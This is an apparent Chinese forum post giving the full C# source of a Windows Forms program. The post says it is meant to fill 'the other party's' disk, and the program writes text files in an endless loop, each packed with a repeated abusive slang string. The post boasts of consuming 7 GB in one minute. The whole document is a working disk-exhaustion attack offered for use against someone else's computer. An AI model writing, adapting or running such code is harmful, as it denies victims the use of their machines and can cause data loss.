功能:疯狂在电脑中生成文件,占据对方空间,试了一下,跑了一分钟可以占用对方7G的磁盘空间
using System;
using System.Collections.Generic;
using System.ComponentModel;
using System.Data;
using System.Drawing;
using System.Linq;
using System.Text;
using System.Threading.Tasks;
using System.Windows.Forms;
using System.Threading;
using System.IO;
namespace 空间占据者
{
public partial class Form1 : Form
{
Thread a;
int i = 0;
string root = "E:\\test";
string nmsl = "";
public Form1()
{
InitializeComponent();
a = new Thread(create);
for (int j = 0; j < 100; j++)
nmsl += "nmslnmslnmslnmslnmslnmslnmslnmslnmslnmsl";
if (!Directory.Exists(root))//如果不存在就创建 dir 文件夹
Directory.CreateDirectory(root);
}
private void create()
{
while (true)
{
i++;
button3.Text = i.ToString();
FileStream fs = new FileStream((root+"\\" + i.ToString() + ".txt"), FileMode.Create);
StreamWriter writer = new StreamWriter(fs);
for (int k = 0; k <= 100; k++)
writer.Write(nmsl);
fs.Close();
}
}
private void button1_Click(object sender, EventArgs e)
{
if (a.ThreadState == ThreadState.Unstarted)
a.Start();
else if (a.ThreadState == ThreadState.Suspended)
a.Resume();
}
private void button2_Click(object sender, EventArgs e)
{
a.Suspend();
}
private void Form1_FormClosing(object sender, FormClosingEventArgs e)
{
System.Environment.Exit(0);
}
}
}